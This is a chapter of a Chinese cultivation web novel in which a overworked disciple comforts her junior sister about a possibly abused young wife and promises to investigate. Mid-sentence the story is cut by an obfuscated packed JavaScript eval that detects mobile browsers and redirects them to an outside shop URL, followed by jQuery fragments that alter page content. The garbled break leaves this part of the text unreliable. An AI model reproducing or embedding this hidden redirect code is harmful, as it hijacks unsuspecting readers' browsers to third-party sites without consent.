当今天下分五州,山下普通人以皇室为尊,居中州,钟粹山薛家在北凛州根基深重,桃花潭苏家在云梦州颇有威望,万听谷萧家则在南华州享有盛名,剩下一个西北的西漠州由于气候恶劣、民风彪悍,向来是一个无宗门愿意驻扎的三不管地区,连皇家都只设置了一个名存实亡的西域都护府,多年未曾派遣官员前去管理,导致此地成为了妖魔鬼怪和邪修盘踞的大本营。
多年来皇室和三大宗门互不干涉,皇家每年向宗门献上供奉,三大宗门则在中州天启郡设下护卫法阵,保护皇城不受妖邪侵犯,并在民间的各大郡设有“钟楼”,派遣轮值弟子驻守,帮助凡世处理大小涉及修真界的事务。
轮值弟子主要职责是向自家宗门传递消息,具体事务则由宗门安排弟子下山执行。
孟知匀挺喜欢出外勤的,虽说钟粹山弟子50两的月俸和丰厚的出差补贴都被系统克扣走了,但是她通过寥寥几次出外勤的经历,发现离宗门越远,系统对她的干扰和影响就越小,就跟信号有延迟一样,每次她因任务下山,往日里“滴滴滴”响个不停的待办竟通通都偃旗息鼓了。
想来也是,系统派遣她干的杂活都是宗门内部事务,她人都不在山上了,总不能让她临时又跑回山上打杂吧?
此系统虽然毫无人性、酷爱压榨、面目可憎、朝令夕改、自私小气、令人作呕,但是好歹逻辑尚存,不会跟门规对着干。
孟知匀觉得自己有必要在明天的月末考核上好好表现,只要把师父哄高兴了,她就能争取到更多出外勤的机会。
她看了看密密麻麻的待办,深深吸了一口气,心想大不了今晚不睡了,临时抱佛脚再修行几个时辰。
然而计划赶不上变化,当她紧赶慢赶在晚上十点之间完成了全部待办,刚想回去小眯一会儿后再去见春峰练剑,就在寝舍门口看到了坐在台阶上等她的薛逢梨。
年方十五的少女,生得杏眼桃腮,单是拿泛着水意的眼睛看她一眼,就让人狠不下心拒绝。
孟知匀把自己的破剑往旁边一搁,挨着她坐下:“怎么了?大晚上不睡觉。”
“师姐……”薛逢梨抱住她的胳膊,还没说什么,注意力就被她的剑吸引了,“你怎么还在用这把剑啊?我记得剑刃上有好几个豁口呢。”
嗐,那还能为什么,穷呗。
养剑堂里陈列着许多好剑,以供他们这些没有得到本命剑的弟子取用,虽说品质远不如百剑峰里的名器,但品质都属当世上乘。
她一开始修行的时候下手没个轻重,不出三天就把剑刃崩了个豁口,当时想着去养剑堂薅羊毛换一把,结果她刚拿起一柄剑,系统就要给她扣上60两白银的买剑钱。
她当即把剑放了回去,抱着自己刚刚扔下的破剑,灰溜溜地走了。
孟知匀不动声色地把剑往身后藏了藏:“没事,又不是本命剑,怎么都能用,我懒得去换了。”
薛逢梨见她不想解释,便没有再追问,转而说起了自己的心事:“近日来,我总是梦到那日在山下遇到的……那个女子,要是我再早几日把凝神芝给他们送过去,或许她便不会疯跑出去了,如今外面妖魔林立,她一个失了神智的弱女子,怕是……凶多吉少。我一想到这个,就心里难安……”
“师姐,你说我当日是不是做错了?我不该让她的家人就那样把她带回去,若是我将她带回钟粹山……”
“说什么傻话呢。”孟知匀打断她,“门规不许私带凡人入山,没有戒律堂的千里音,她也走不出山门前的云雾阵。”
话罢,看着小师妹泛红的眼圈,孟知匀摸摸她的头,劝慰道:“这本来就是人家自己的因果,我们没有干涉的道理。”
薛逢梨抿了抿唇:“但是那日就是让我遇到她了,我却什么都没能为她做。”
她现在一闭上眼睛,脑海中浮现的就是那日,那女子向她投来的求助般的目光,以及最后她被家人强行带走时,那种心如死灰的麻木神态。
“你再详细说一说,你遇到她的情景。”孟知匀知道她对这件事有心结,加之薛逢梨心思敏感,平日里容易内耗,若是不把这件事彻底了结,估计她要因此憋出心病来。
薛逢梨靠在师姐温暖的怀里,细声细气地开口:“上月是我轮值丹药斋,帮师叔祖将一些灵药拿去钟灵郡卖给腾云楼,回来路过平松县,看到一个衣衫不整、蓬头垢面的女子从巷子里冲出来,嘴里含糊不清地喊着‘爹娘’‘害我’之类的话,街上的人都对她避之不及。”
“我问了问旁边摊子上卖桃酥的奶奶……”薛逢梨回忆起那日。
满头白发的老人对着街上的闹剧摇了摇头,对她说:“这是李家的疯儿媳,是隔壁晚堂县一家私塾先生的女儿,父母在一年前因病过世了,她依着儿时就定下的姻亲来平松县投靠未来的夫婿家。李家人向来和善包容,在街坊邻里中名声很好,二话不说就收留了这个孤女,还依照婚约将她八抬大轿风风光光地抬进府,待她如对自家亲女一般。
可惜这阮氏命不好,许是娘胎里就带了疯病的根,进门不到半年就疯了,成日里哭爹喊娘要回家,简直没个人样儿。偏偏李家仁厚,一直请先生给她医治,未曾说过要休妻。可这疯妇竟在外抹黑李家名声,说自己受了虐待,可你看她,身上穿着绫罗绸缎,也无一丝伤痕,除了自己疯癫颠地弄了个蓬头垢面,哪里有半分受虐待的样子?”
几个家丁从巷子里追出来,将她往回拖。
“救救我!娘!爹啊!救救我——”女人挣扎着不愿被拖走,布满红血丝的眼睛看向街上唯一未曾避开她的少女。
可惜,只是个乳臭未干的小女孩。
她不再呼喊了,像一具尸体一般被活活拖了回去。
薛逢梨震惊过后,忍不住追了上去,结果李家的朱漆大门“砰”地一声关上了,外面只遗漏了一只绣花鞋。
她敲开了李家的门,出来的是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165230|196678||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个身材丰腴、慈眉善目的中年妇人,不仅将她请进了家门,还拿出了珍藏多年的好茶招待她,末了又忍不住抹眼泪,说疼惜自家儿媳,年纪轻轻就得了这样的病,也不知道什么时候才能将她医治好,一家人好享阖府之乐。
薛逢梨见其言谈间不似作伪,放心了些许,将绣花鞋和身上的一些温吞、调补身体的灵药留给了李家,一回山上就开始种植凝神芝,想着或许能将那女子治愈。
孟知匀帮她种了一整个月的灵药,每天却又忙于别的杂活,对事情缘由一直没有弄清,直到今天才完整知道了来龙去脉,忍不住皱了皱眉头。
若是真心疼惜儿媳,为何其跑出家门后会派遣两个家丁将其拖行回去?儿媳病症严重,素来有慈名的婆婆为何有闲心容光焕发地请外人喝一盏好茶?
而且,疯病不是什么体面的病症,一户善待儿媳的人家,为何会让这种消息满大街传得沸沸扬扬还不加制止?
“师姐……你觉得其中可有蹊跷?”薛逢梨看孟知匀眉头皱起,心里更加不安了。
孟知匀五官标致,生就一双潋滟明眸,眼尾一颗痣反而更显眉目分明、气质清冷,平日里笑意盈盈时令人如沐春风,现下一副凝神皱眉的模样,自带三分疏离冷意,让人不由得心下慌张。
半晌,她轻轻拍了拍薛逢梨的肩膀:“无事,若你放心不下,这几天我找机会陪你下山一趟,我们再去李家看一看。”
“自愿”加班而已,她提高一下工作效率,大概是可以抽出一点时间的。
“真的?”薛逢梨眼睛一亮,站起身就要去收拾行装,“那我现在就去准备准备!”
孟知匀一把拉住她:“祖宗,你不看看现在几点了?赶紧去睡觉吧,下个山而已,没什么好收拾的。”
薛逢梨这才注意到时辰,不好意思地抿了抿唇:“好,那师姐你也快点休息吧,今天多谢你愿意听我说这些话,除了师父,也就你愿意在大晚上听我说这些凡尘琐事。”
目送小师妹进了寝舍,孟知匀仰头望天,抱着自己破剑闭眼默数了六十秒,权当自己已经休息过了,起身拍了拍屁股就赶去见春峰练习剑术。
*
见春峰是春晓剑弟子素日里修行的地方,满园花团锦簇、绿意葱茏,像一片生机勃勃的世外桃源。
翠微长老薛凝不是个严苛的师长,连带着春晓剑这一脉都对待弟子较为宽和,正好处于非常严厉的九夏剑和完全放养的霜雪剑之间。
苦练了一整晚的孟知匀打了个哈欠,顶着两个明显的黑眼圈站在薛凝面前,心里还不是非常有底。
“又通宵打杂去了?”薛凝不知从哪弄来一把春色满园的团扇,装腔作势地扇了几下,让一旁的弟子忍不住打了个喷嚏。
孟知匀立马摇头:“没有,只是没睡好。”
薛凝笑着摇了摇头:“嘴硬。”
随后,她看向一旁的薛停:“今日你们二人对练。”